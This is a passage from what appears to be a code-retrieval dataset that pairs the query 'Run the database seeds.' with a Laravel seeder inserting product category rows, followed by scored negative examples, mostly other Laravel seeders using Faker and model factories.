$this->assertEquals('Hello',$msg);\n $n= random_int(0,100);\n $this->assertLessThan(100,$n);\n }", "public function testBasicTest()\r\n {\r\n $this->assertTrue(true);\r\n }", "public function testBasicTest()\n {\n Log::debug(Session::getId() . \" ExampleTest:testBasicTest start\");\n $this->assertTrue(true);\n\n Log::debug(Session::getId() . \" ExampleTest:testBasicTest testing lara_pack01 class\");\n $laraPack01 = new TestClass01(array());\n $value = $laraPack01->getCallbacks();\n $this->assertEquals(\"hello\", $value);\n }", "public function testBasicTest()\n {\n $this->assertTrue(true);\n }", "public function testBasicTest()\n {\n $this->assertTrue(true);\n }", "public function testBasicTest()\n {\n $this->assertTrue(true);\n }", "public function testBasicTest()\n {\n $this->assertTrue(true);\n }", "public function testBasicTest()\n {\n $this->assertTrue(true);\n }", "public function testBasicTest()\n {\n $this->assertTrue(true);\n }", "public function testBasicTest()\n {\n $this->assertTrue(true);\n }", "public function testBasicTest()\n {\n $this->assertTrue(true);\n }", "public function testBasicTest()\n {\n $this->assertTrue(true);\n }", "public function testSomething()\n {\n }" ]
[ "0.7983641", "0.78240275", "0.7819763", "0.7722", "0.77010244", "0.76245314", "0.7580404", "0.7545682", "0.7536451", "0.7459081", "0.743809", "0.74159294", "0.7412939", "0.7336524", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.73261076", "0.7310624", "0.7310624", "0.7310624", "0.7310624", "0.7253301", "0.722725", "0.7193068", "0.71866834", "0.7179982", "0.71220046", "0.7121312", "0.7119687", "0.7117217", "0.71153975", "0.71147615", "0.7106698", "0.71024424", "0.7090214", "0.7060796", "0.70344305", "0.70344305", "0.70344305", "0.70344305", "0.70344305", "0.70344305", "0.70344305", "0.70344305", "0.70344305", "0.70337516" ]
0.0
-1
Run the database seeds.
public function run() { \DB::table('category_detail')->delete(); \DB::table('category_detail')->insert(array ( 0 => array ( 'id' => 1, 'category_id' => 2, 'name' => 'iphone new', 'status' => 1, 'created_at' => '2019-10-18 02:55:38', 'updated_at' => '2019-10-18 02:57:17', ), 1 => array ( 'id' => 2, 'category_id' => 2, 'name' => 'iphone cũ 99%', 'status' => 1, 'created_at' => '2019-10-18 02:55:38', 'updated_at' => '2019-10-18 02:57:17', ), 2 => array ( 'id' => 3, 'category_id' => 5, 'name' => 'Macbook air 2019', 'status' => 1, 'created_at' => '2019-10-18 02:55:38', 'updated_at' => '2019-10-18 02:57:17', ), 3 => array ( 'id' => 4, 'category_id' => 5, 'name' => 'Macbook pro 2019', 'status' => 1, 'created_at' => '2019-10-18 02:55:38', 'updated_at' => '2019-10-18 02:57:17', ), 4 => array ( 'id' => 5, 'category_id' => 6, 'name' => 'the new ', 'status' => 1, 'created_at' => '2019-10-18 02:55:38', 'updated_at' => '2019-10-18 02:57:17', ), 5 => array ( 'id' => 6, 'category_id' => 6, 'name' => 'asdasd', 'status' => 1, 'created_at' => '2019-10-18 02:55:38', 'updated_at' => '2019-10-18 02:57:17', ), 6 => array ( 'id' => 7, 'category_id' => 6, 'name' => 'asdasdasd', 'status' => 1, 'created_at' => '2019-10-18 02:55:38', 'updated_at' => '2019-10-18 02:57:17', ), )); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function run()\n {\n // $this->call(UserTableSeeder::class);\n // $this->call(PostTableSeeder::class);\n // $this->call(TagTableSeeder::class);\n // $this->call(PostTagTableSeeder::class);\n\n /*AB - use faker to populate table see file ModelFactory.php */\n factory(App\\Editeur::class, 40) ->create();\n factory(App\\Auteur::class, 40) ->create();\n factory(App\\Livre::class, 80) ->create();\n\n for ($i = 1; $i < 41; $i++) {\n $number = rand(2, 8);\n for ($j = 1; $j <= $number; $j++) {\n DB::table('auteur_livre')->insert([\n 'livre_id' => rand(1, 40),\n 'auteur_id' => $i\n ]);\n }\n }\n }", "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n // Let's truncate our existing records to start from scratch.\n Assignation::truncate();\n\n $faker = \\Faker\\Factory::create();\n \n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 40; $i++) {\n Assignation::create([\n 'ad_id' => $faker->numberBetween(1,20),\n 'buyer_id' => $faker->numberBetween(1,6),\n 'seller_id' => $faker->numberBetween(6,11),\n 'state' => NULL,\n ]);\n }\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n \t$faker = Faker::create();\n\n \tfor($i=0; $i<20; $i++) {\n \t\t$post = new Post;\n \t\t$post->title = $faker->sentence();\n \t\t$post->body = $faker->paragraph();\n \t\t$post->category_id = rand(1, 5);\n \t\t$post->save();\n \t}\n\n \t$list = ['General', 'Technology', 'News', 'Internet', 'Mobile'];\n \tforeach($list as $name) {\n \t\t$category = new Category;\n \t\t$category->name = $name;\n \t\t$category->save();\n \t}\n\n \tfor($i=0; $i<20; $i++) {\n \t\t$comment = new Comment;\n \t\t$comment->comment = $faker->paragraph();\n \t\t$comment->post_id = rand(1,20);\n \t\t$comment->save();\n \t}\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n $this->call(RoleTableSeeder::class);\n $this->call(UserTableSeeder::class);\n \n factory('App\\Cat', 5)->create();\n $tags = factory('App\\Tag', 8)->create();\n\n factory(Post::class, 15)->create()->each(function($post) use ($tags){\n $post->comments()->save(factory(Comment::class)->make());\n $post->tags()->attach( $tags->random(mt_rand(1,4))->pluck('id')->toArray() );\n });\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('post')->insert(\n [\n 'title' => 'Test Post1',\n 'desc' => str_random(100).\" post1\",\n 'alias' => 'test1',\n 'keywords' => 'test1',\n ]\n );\n DB::table('post')->insert(\n [\n 'title' => 'Test Post2',\n 'desc' => str_random(100).\" post2\",\n 'alias' => 'test2',\n 'keywords' => 'test2',\n ]\n );\n DB::table('post')->insert(\n [\n 'title' => 'Test Post3',\n 'desc' => str_random(100).\" post3\",\n 'alias' => 'test3',\n 'keywords' => 'test3',\n ]\n );\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n \t$faker = Factory::create();\n \t\n \tforeach ($this->departments as $key => $department) {\n \t\tDepartment::create([\n \t\t\t'name' => $department\n \t\t]);\n \t}\n \tforeach ($this->collections as $key => $collection) {\n \t\tCollection::create([\n \t\t\t'name' => $collection\n \t\t]);\n \t}\n \t\n \t\n \tfor ($i=0; $i < 40; $i++) {\n \t\tUser::create([\n \t\t\t'name' \t=>\t$faker->name,\n \t\t\t'email' \t=>\t$faker->email,\n \t\t\t'password' \t=>\tbcrypt('123456'),\n \t\t]);\n \t} \n \t\n \t\n \tforeach ($this->departments as $key => $department) {\n \t\t//echo ($key + 1) . PHP_EOL;\n \t\t\n \t\tfor ($i=0; $i < 10; $i++) { \n \t\t\techo $faker->name . PHP_EOL;\n\n \t\t\tArt::create([\n \t\t\t\t'name'\t\t\t=> $faker->sentence(2),\n \t\t\t\t'img'\t\t\t=> $this->filenames[$i],\n \t\t\t\t'medium'\t\t=> 'canvas',\n \t\t\t\t'department_id'\t=> $key + 1,\n \t\t\t\t'user_id'\t\t=> $this->userIndex,\n \t\t\t\t'dimension'\t\t=> '18.0 x 24.0',\n\t\t\t\t]);\n \t\t\t\t\n \t\t\t\t$this->userIndex ++;\n \t\t}\n \t}\n \t\n \tdd(\"END\");\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->dataCategory();\n factory(App\\Model\\Category::class, 70)->create();\n factory(App\\Model\\Producer::class, rand(5,10))->create();\n factory(App\\Model\\Provider::class, rand(5,10))->create();\n factory(App\\Model\\Product::class, 100)->create();\n factory(App\\Model\\Album::class, 300)->create();\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n\n factory('App\\User', 10 )->create();\n\n $users= \\App\\User::all();\n $users->each(function($user){ factory('App\\Category', 1)->create(['user_id'=>$user->id]); });\n $users->each(function($user){ factory('App\\Tag', 3)->create(['user_id'=>$user->id]); });\n\n\n $users->each(function($user){\n factory('App\\Post', 10)->create([\n 'user_id'=>$user->id,\n 'category_id'=>rand(1,20)\n ]\n );\n });\n\n $posts= \\App\\Post::all();\n $posts->each(function ($post){\n\n $post->tags()->attach(array_unique([rand(1,20),rand(1,20),rand(1,20)]));\n });\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $types = factory(\\App\\Models\\Type::class, 5)->create();\n\n $cities = factory(\\App\\Models\\City::class, 10)->create();\n\n $cities->each(function ($city) {\n $districts = factory(\\App\\Models\\District::class, rand(2, 5))->create([\n 'city_id' => $city->id,\n ]);\n\n $districts->each(function ($district) {\n $properties = factory(\\App\\Models\\Property::class, rand(2, 5))->create([\n 'type_id' => rand(1, 5),\n 'district_id' => $district->id\n ]);\n\n $properties->each(function ($property) {\n $galleries = factory(\\App\\Models\\Gallery::class, rand(3, 10))->create([\n 'property_id' => $property->id\n ]);\n });\n });\n });\n }", "public function run()\n {\n $this->call(UsersTableSeeder::class);\n\n $categories = factory(App\\Models\\Category::class, 10)->create();\n\n $categories->each(function ($category) {\n $category\n ->posts()\n ->saveMany(\n factory(App\\Models\\Post::class, 3)->make()\n );\n });\n }", "public function run()\n {\n $this->call(CategoriesTableSeeder::class);\n\n $users = factory(App\\User::class, 5)->create();\n $recipes = factory(App\\Recipe::class, 30)->create();\n $preparations = factory(App\\Preparation::class, 70)->create();\n $photos = factory(App\\Photo::class, 90)->create();\n $comments = factory(App\\Comment::class, 200)->create();\n $flavours = factory(App\\Flavour::class, 25)->create();\n $flavour_recipe = factory(App\\FlavourRecipe::class, 50)->create();\n $tags = factory(App\\Tag::class, 25)->create();\n $recipe_tag = factory(App\\RecipeTag::class, 50)->create();\n $ingredients = factory(App\\Ingredient::class, 25)->create();\n $ingredient_preparation = factory(App\\IngredientPreparation::class, 300)->create();\n \n \n \n DB::table('users')->insert(['name' => 'SimpleUtilisateur', 'email' => '[email protected]', 'password' => bcrypt('SimpleMotDePasse')]);\n \n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n // Sample::truncate();\n // TestItem::truncate();\n // UOM::truncate();\n Role::truncate();\n User::truncate();\n\n // factory(Role::class, 4)->create();\n Role::create([\n 'name'=> 'Director',\n 'description'=> 'Director type'\n ]);\n\n Role::create([\n 'name'=> 'Admin',\n 'description'=> 'Admin type'\n ]);\n Role::create([\n 'name'=> 'Employee',\n 'description'=> 'Employee type'\n ]);\n Role::create([\n 'name'=> 'Technician',\n 'description'=> 'Technician type'\n ]);\n \n factory(User::class, 20)->create()->each(\n function ($user){\n $roles = \\App\\Role::all()->random(mt_rand(1, 2))->pluck('id');\n $user->roles()->attach($roles);\n }\n );\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n UsersLevel::create([\n 'name' => 'Administrator'\n ]);\n\n UsersLevel::create([\n 'name' => 'User'\n ]);\n\n User::create([\n 'username' => 'admin',\n 'password' => bcrypt('admin123'),\n 'level_id' => 1,\n 'fullname' => \"Super Admin\",\n 'email'=> \"[email protected]\"\n ]);\n\n\n \\App\\CategoryPosts::create([\n 'name' =>'Paket Trip'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' =>'Destinasi Kuliner'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' => 'Event'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' => 'Profil'\n ]);\n }", "public function run()\n {\n DB::table('users')->insert([\n 'name' => 'Admin',\n 'email' => '[email protected]',\n 'avatar' => \"avatar\",\n 'password' => '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi',\n ]);\n $this->call(CategorySeeder::class);\n // \\App\\Models\\Admin::factory(1)->create();\n \\App\\Models\\User::factory(10)->create();\n // \\App\\Models\\Category::factory(50)->create();\n \\App\\Models\\PetComment::factory(50)->create();\n $pets = \\App\\Models\\Pet::factory(50)->create();\n foreach ($pets as $pet) {\n \\App\\Models\\PetTag::factory(1)->create(['pet_id' => $pet->id]);\n \\App\\Models\\PetPhotoUrl::factory(1)->create(['pet_id' => $pet->id]);\n \\App\\Models\\Order::factory(1)->create(['pet_id' => $pet->id]);\n };\n }", "public function run()\n { \n\n $this->call(RoleSeeder::class);\n \n $this->call(UserSeeder::class);\n\n Storage::deleteDirectory('socials-icon');\n Storage::makeDirectory('socials-icon');\n $socials = Social::factory(7)->create();\n\n Storage::deleteDirectory('countries-flag');\n Storage::deleteDirectory('countries-firm');\n Storage::makeDirectory('countries-flag');\n Storage::makeDirectory('countries-firm');\n $countries = Country::factory(18)->create();\n\n // Se llenan datos de la tabla muchos a muchos - social_country\n foreach ($countries as $country) {\n foreach ($socials as $social) {\n\n $country->socials()->attach($social->id, [\n 'link' => 'https://www.facebook.com/ministeriopalabrayespiritu/'\n ]);\n }\n }\n\n Person::factory(50)->create();\n\n Category::factory(7)->create();\n\n Video::factory(25)->create(); \n\n $this->call(PostSeeder::class);\n\n Storage::deleteDirectory('documents');\n Storage::makeDirectory('documents');\n Document::factory(25)->create();\n\n }", "public function run()\n {\n $faker = Faker::create('id_ID');\n /**\n * Generate fake author data\n */\n for ($i=1; $i<=50; $i++) { \n DB::table('author')->insert([\n 'name' => $faker->name\n ]);\n }\n /**\n * Generate fake publisher data\n */\n for ($i=1; $i<=50; $i++) { \n DB::table('publisher')->insert([\n 'name' => $faker->name\n ]);\n }\n /**\n * Seeding payment method\n */\n DB::table('payment')->insert([\n ['name' => 'Mandiri'],\n ['name' => 'BCA'],\n ['name' => 'BRI'],\n ['name' => 'BNI'],\n ['name' => 'Pos Indonesia'],\n ['name' => 'BTN'],\n ['name' => 'Indomaret'],\n ['name' => 'Alfamart'],\n ['name' => 'OVO'],\n ['name' => 'Cash On Delivery']\n ]);\n }", "public function run()\n {\n DatabaseSeeder::seedLearningStylesProbs();\n DatabaseSeeder::seedCampusProbs();\n DatabaseSeeder::seedGenderProbs();\n DatabaseSeeder::seedTypeStudentProbs();\n DatabaseSeeder::seedTypeProfessorProbs();\n DatabaseSeeder::seedNetworkProbs();\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n // MyList::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 3; $i++) {\n MyList::create([\n 'title' => 'List-'.($i+1),\n 'color' => $faker->sentence,\n 'icon' => $faker->randomDigitNotNull,\n 'index' => $faker->randomDigitNotNull,\n 'user_id' => 1,\n ]);\n }\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Products::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few products in our database:\n for ($i = 0; $i < 50; $i++) {\n Products::create([\n 'name' => $faker->word,\n 'sku' => $faker->randomNumber(7, false),\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n User::create([\n 'name' => 'Pablo Rosales',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'status' => 1,\n 'role_id' => 1,\n 'movil' => 0\n ]);\n\n User::create([\n 'name' => 'Usuario Movil',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'status' => 1,\n 'role_id' => 3,\n 'movil' => 1\n ]);\n\n Roles::create([\n 'name' => 'Administrador'\n ]);\n Roles::create([\n 'name' => 'Operaciones'\n ]);\n Roles::create([\n 'name' => 'Comercial'\n ]);\n Roles::create([\n 'name' => 'Aseguramiento'\n ]);\n Roles::create([\n 'name' => 'Facturación'\n ]);\n Roles::create([\n 'name' => 'Creditos y Cobros'\n ]);\n\n factory(App\\Customers::class, 100)->create();\n }", "public function run()\n {\n // php artisan db:seed --class=StoreTableSeeder\n\n foreach(range(1,20) as $i){\n $faker = Faker::create();\n Store::create([\n 'name' => $faker->name,\n 'desc' => $faker->text,\n 'tags' => $faker->word,\n 'address' => $faker->address,\n 'longitude' => $faker->longitude($min = -180, $max = 180),\n 'latitude' => $faker->latitude($min = -90, $max = 90),\n 'created_by' => '1'\n ]);\n }\n\n }", "public function run()\n {\n DB::table('users')->insert([\n 'name'=>\"test\",\n 'password' => Hash::make('123'),\n 'email'=>'[email protected]'\n ]);\n DB::table('tags')->insert(['name'=>'tags']);\n $this->call(UserSeed::class);\n $this->call(CategoriesSeed::class);\n $this->call(TopicsSeed::class);\n $this->call(CommentariesSeed::class);\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n echo 'seeding permission...', PHP_EOL;\n $permissions = [\n 'role-list',\n 'role-create',\n 'role-edit',\n 'role-delete',\n 'formation-list',\n 'formation-create',\n 'formation-edit',\n 'formation-delete',\n 'user-list',\n 'user-create',\n 'user-edit',\n 'user-delete'\n ];\n foreach ($permissions as $permission) {\n Permission::create(['name' => $permission]);\n }\n echo 'seeding users...', PHP_EOL;\n\n $user= User::create(\n [\n 'name' => 'Mr. admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'remember_token' => null,\n ]\n );\n echo 'Create Roles...', PHP_EOL;\n Role::create(['name' => 'former']);\n Role::create(['name' => 'learner']);\n Role::create(['name' => 'admin']);\n Role::create(['name' => 'manager']);\n Role::create(['name' => 'user']);\n\n echo 'seeding Role User...', PHP_EOL;\n $user->assignRole('admin');\n $role = $user->assignRole('admin');\n $role->givepermissionTo(Permission::all());\n\n \\DB::table('languages')->insert(['name' => 'English', 'code' => 'en']);\n \\DB::table('languages')->insert(['name' => 'Français', 'code' => 'fr']);\n }", "public function run()\n {\n $this->call(UsersTableSeeder::class);\n $this->call(PermissionsSeeder::class);\n $this->call(RolesSeeder::class);\n $this->call(ThemeSeeder::class);\n\n //\n\n DB::table('paypal_info')->insert([\n 'client_id' => '',\n 'client_secret' => '',\n 'currency' => '',\n ]);\n DB::table('contact_us')->insert([\n 'content' => '',\n ]);\n DB::table('setting')->insert([\n 'site_name' => ' ',\n ]);\n DB::table('terms_and_conditions')->insert(['terms_and_condition' => 'text']);\n }", "public function run()\n {\n $this->call([\n UserSeeder::class,\n ]);\n\n User::factory(20)->create();\n Author::factory(20)->create();\n Book::factory(60)->create();\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(UserSeeder::class);\n $this->call(RolePermissionSeeder::class);\n $this->call(AppmodeSeeder::class);\n\n // \\App\\Models\\Appmode::factory(3)->create();\n \\App\\Models\\Doctor::factory(100)->create();\n \\App\\Models\\Unit::factory(50)->create();\n \\App\\Models\\Broker::factory(100)->create();\n \\App\\Models\\Patient::factory(100)->create();\n \\App\\Models\\Expence::factory(100)->create();\n \\App\\Models\\Testcategory::factory(100)->create();\n \\App\\Models\\Test::factory(50)->create();\n \\App\\Models\\Parameter::factory(50)->create();\n \\App\\Models\\Sale::factory(50)->create();\n \\App\\Models\\SaleItem::factory(100)->create();\n \\App\\Models\\Goption::factory(1)->create();\n \\App\\Models\\Pararesult::factory(50)->create();\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // DB::table('roles')->insert(\n // [\n // ['name' => 'admin', 'description' => 'Administrator'],\n // ['name' => 'student', 'description' => 'Student'],\n // ['name' => 'lab_tech', 'description' => 'Lab Tech'],\n // ['name' => 'it_staff', 'description' => 'IT Staff Member'],\n // ['name' => 'it_manager', 'description' => 'IT Manager'],\n // ['name' => 'lab_manager', 'description' => 'Lab Manager'],\n // ]\n // );\n\n // DB::table('users')->insert(\n // [\n // 'username' => 'admin', \n // 'password' => Hash::make('password'), \n // 'active' => 1,\n // 'name' => 'Administrator',\n // 'email' => '[email protected]',\n // 'role_id' => \\App\\Role::where('name', 'admin')->first()->id\n // ]\n // );\n\n DB::table('status')->insert([\n // ['name' => 'Active'],\n // ['name' => 'Cancel'],\n // ['name' => 'Disable'],\n // ['name' => 'Open'],\n // ['name' => 'Closed'],\n // ['name' => 'Resolved'],\n ['name' => 'Used'],\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(User::class)->create([\n 'name' => 'Qwerty',\n 'email' => '[email protected]',\n 'password' => bcrypt('secretpassw'),\n ]);\n\n factory(User::class, 59)->create([\n 'password' => bcrypt('secretpassw'),\n ]);\n\n for ($i = 1; $i < 11; $i++) {\n factory(Category::class)->create([\n 'name' => 'Category ' . $i,\n ]);\n }\n\n for ($i = 1; $i < 101; $i++) {\n factory(Product::class)->create([\n 'name' => 'Product ' . $i,\n ]);\n }\n }", "public function run()\n {\n\n \t// Making main admin role\n \tDB::table('roles')->insert([\n 'name' => 'Admin',\n ]);\n\n // Making main category\n \tDB::table('categories')->insert([\n 'name' => 'Other',\n ]);\n\n \t// Making main admin account for testing\n \tDB::table('users')->insert([\n 'name' \t\t=> 'Admin',\n 'email' \t=> '[email protected]',\n 'password' => bcrypt('12345'),\n 'role_id' => 1,\n 'created_at' => date('Y-m-d H:i:s' ,time()),\n 'updated_at' => date('Y-m-d H:i:s' ,time())\n ]);\n\n \t// Making random users and posts\n factory(App\\User::class, 10)->create();\n factory(App\\Post::class, 35)->create();\n }", "public function run()\n {\n $faker = Faker::create();\n\n \\DB::table('positions')->insert(array (\n 'codigo' => strtoupper($faker->randomLetter).$faker->postcode,\n 'nombre' => 'Chef',\n 'salario' => '15000.00'\n ));\n\n\t\t \\DB::table('positions')->insert(array (\n 'codigo' => strtoupper($faker->randomLetter).$faker->postcode,\n 'nombre' => 'Mesonero',\n 'salario' => '12000.00'\n ));\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = \\Faker\\Factory::create();\n\n foreach (range(1,5) as $index) {\n Lista::create([\n 'name' => $faker->sentence(2),\n 'description' => $faker->sentence(10), \n ]);\n } \n\n foreach (range(1,20) as $index) {\n $n = $faker->sentence(2);\n \tTarea::create([\n \t\t'name' => $n,\n \t\t'description' => $faker->sentence(10),\n 'lista_id' => $faker->numberBetween(1,5),\n 'slug' => Str::slug($n),\n \t\t]);\n } \n }", "public function run()\n {\n $faker = Faker::create('lt_LT');\n\n DB::table('users')->insert([\n 'name' => 'user',\n 'email' => '[email protected]',\n 'password' => Hash::make('123')\n ]);\n DB::table('users')->insert([\n 'name' => 'user2',\n 'email' => '[email protected]',\n 'password' => Hash::make('123')\n ]);\n\n foreach (range(1,100) as $val)\n DB::table('authors')->insert([\n 'name' => $faker->firstName(),\n 'surname' => $faker->lastName(),\n \n ]);\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(UsersTableSeeder::class);\n\n // DB::table('users')->insert([\n // 'name' => 'User1',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('password'),\n // ]);\n\n\n $faker = Faker::create();\n \n foreach (range(1,10) as $index){\n DB::table('companies')->insert([\n 'name' => $faker->company(),\n 'email' => $faker->email(10).'@gmail.com',\n 'logo' => $faker->image($dir = '/tmp', $width = 640, $height = 480),\n 'webiste' => $faker->domainName(),\n \n ]);\n }\n \n \n foreach (range(1,10) as $index){\n DB::table('employees')->insert([\n 'first_name' => $faker->firstName(),\n 'last_name' => $faker->lastName(),\n 'company' => $faker->company(),\n 'email' => $faker->str_random(10).'@gmail.com',\n 'phone' => $faker->e164PhoneNumber(),\n \n ]);\n }\n\n\n\n }", "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n Flight::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 100; $i++) {\n\n\n Flight::create([\n 'flightNumber' => $faker->randomNumber(5),\n 'depAirport' => $faker->city,\n 'destAirport' => $faker->city,\n 'reservedWeight' => $faker->numberBetween(1000 - 10000),\n 'deptTime' => $faker->dateTime('now'),\n 'arrivalTime' => $faker->dateTime('now'),\n 'reservedVolume' => $faker->numberBetween(1000 - 10000),\n 'airlineName' => $faker->colorName,\n ]);\n }\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->truncteTables([\n 'users',\n 'products'\n ]);\n\n $this->call(UsersSeeder::class);\n $this->call(ProductsSeeder::class);\n\n }", "public function run()\n {\n /**\n * Dummy seeds\n */\n DB::table('metas')->truncate();\n $faker = Faker::create();\n\n for ($i=0; $i < 10; $i++) { \n DB::table('metas')->insert([\n 'id_rel' => $faker->randomNumber(),\n 'titulo' => $faker->sentence,\n 'descricao' => $faker->paragraph,\n 'justificativa' => $faker->paragraph,\n 'valor_inicial' => $faker->numberBetween(0,100),\n 'valor_atual' => $faker->numberBetween(0,100),\n 'valor_final' => $faker->numberBetween(0,10),\n 'regras' => json_encode([$i => [\"values\" => $faker->words(3)]]),\n 'types' => json_encode([$i => [\"values\" => $faker->words(2)]]),\n 'categorias' => json_encode([$i => [\"values\" => $faker->words(4)]]),\n 'tags' => json_encode([$i => [\"values\" => $faker->words(5)]]),\n 'active' => true,\n ]);\n }\n\n\n }", "public function run()\n {\n // $this->call(UserTableSeeder::class);\n\n $faker = Faker::create();\n\n $lessonIds = Lesson::lists('id')->all(); // An array of ID's in that table [1, 2, 3, 4, 5, 7]\n $tagIds = Tag::lists('id')->all();\n\n foreach(range(1, 30) as $index)\n {\n // a real lesson id\n // a real tag id\n DB::table('lesson_tag')->insert([\n 'lesson_id' => $faker->randomElement($lessonIds),\n 'tag_id' => $faker->randomElement($tagIds),\n ]);\n }\n }", "public function run()\n {\n $this->call(CategoriasTableSeeder::class);\n $this->call(UfsTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n $this->call(UserTiposTableSeeder::class);\n factory(App\\User::class, 2)->create();\n/* factory(App\\Models\\Categoria::class, 20)->create();*/\n/* factory(App\\Models\\Anuncio::class, 50)->create();*/\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n Language::truncate();\n Reason::truncate();\n Report::truncate();\n Category::truncate();\n Position::truncate();\n\n $languageQuantity = 10;\n $reasonQuantity = 10;\n $reportQuantity = 10;\n $categoryQuantity = 10;\n $positionQuantity = 10;\n\n factory(Language::class,$languageQuantity)->create();\n factory(Reason::class,$reasonQuantity)->create();\n \n factory(Report::class,$reportQuantity)->create();\n \n factory(Category::class,$categoryQuantity)->create();\n \n factory(Position::class,$positionQuantity)->create();\n\n }", "public function run()\n {\n // \\DB::statement('SET_FOREIGN_KEY_CHECKS=0');\n \\DB::table('users')->truncate();\n \\DB::table('posts')->truncate();\n // \\DB::table('category')->truncate();\n \\DB::table('photos')->truncate();\n \\DB::table('comments')->truncate();\n \\DB::table('comment_replies')->truncate();\n\n \\App\\Models\\User::factory()->times(10)->hasPosts(1)->create();\n \\App\\Models\\Role::factory()->times(10)->create();\n \\App\\Models\\Category::factory()->times(10)->create();\n \\App\\Models\\Comment::factory()->times(10)->hasReplies(1)->create();\n \\App\\Models\\Photo::factory()->times(10)->create();\n\n \n // \\App\\Models\\User::factory(10)->create([\n // 'role_id'=>2,\n // 'is_active'=>1\n // ]);\n\n // factory(App\\Models\\Post::class, 10)->create();\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n $this->call([\n ArticleSeeder::class, \n TagSeeder::class,\n Arttagrel::class\n ]);\n // \\App\\Models\\User::factory(10)->create();\n \\App\\Models\\Article::factory()->count(7)->create();\n \\App\\Models\\Tag::factory()->count(15)->create(); \n \\App\\Models\\Arttagrel::factory()->count(15)->create(); \n }", "public function run()\n {\n $this->call(ArticulosTableSeeder::class);\n /*DB::table('articulos')->insert([\n 'titulo' => str_random(50),\n 'cuerpo' => str_random(200),\n ]);*/\n }", "public function run()\n {\n $this->call(CategoryTableSeeder::class);\n $this->call(ProductTableSeeder::class);\n\n \t\t\n\t\t\tDB::table('users')->insert([\n 'first_name' => 'Ignacio',\n 'last_name' => 'Garcia',\n 'email' => '[email protected]',\n 'password' => bcrypt('123456'),\n 'role' => '1',\n 'avatar' => 'CGnABxNYYn8N23RWlvTTP6C2nRjOLTf8IJcbLqRP.jpeg',\n ]);\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(RoleSeeder::class);\n $this->call(UserSeeder::class);\n\n Medicamento::factory(50)->create();\n Reporte::factory(5)->create();\n Cliente::factory(200)->create();\n Asigna_valor::factory(200)->create();\n Carga::factory(200)->create();\n }", "public function run()\n {\n $this->call([\n RoleSeeder::class,\n TicketSeeder::class\n ]);\n\n DB::table('departments')->insert([\n 'abbr' => 'IT',\n 'name' => 'Information Technologies',\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'email_verified_at' => Carbon::now(),\n 'password' => Hash::make('admin'),\n 'department_id' => 1,\n 'avatar' => 'default.png',\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n\n DB::table('role_user')->insert([\n 'role_id' => 1,\n 'user_id' => 1\n ]);\n }", "public function run()\n {\n \\App\\Models\\Article::factory(20)->create();\n \\App\\Models\\Category::factory(5)->create();\n 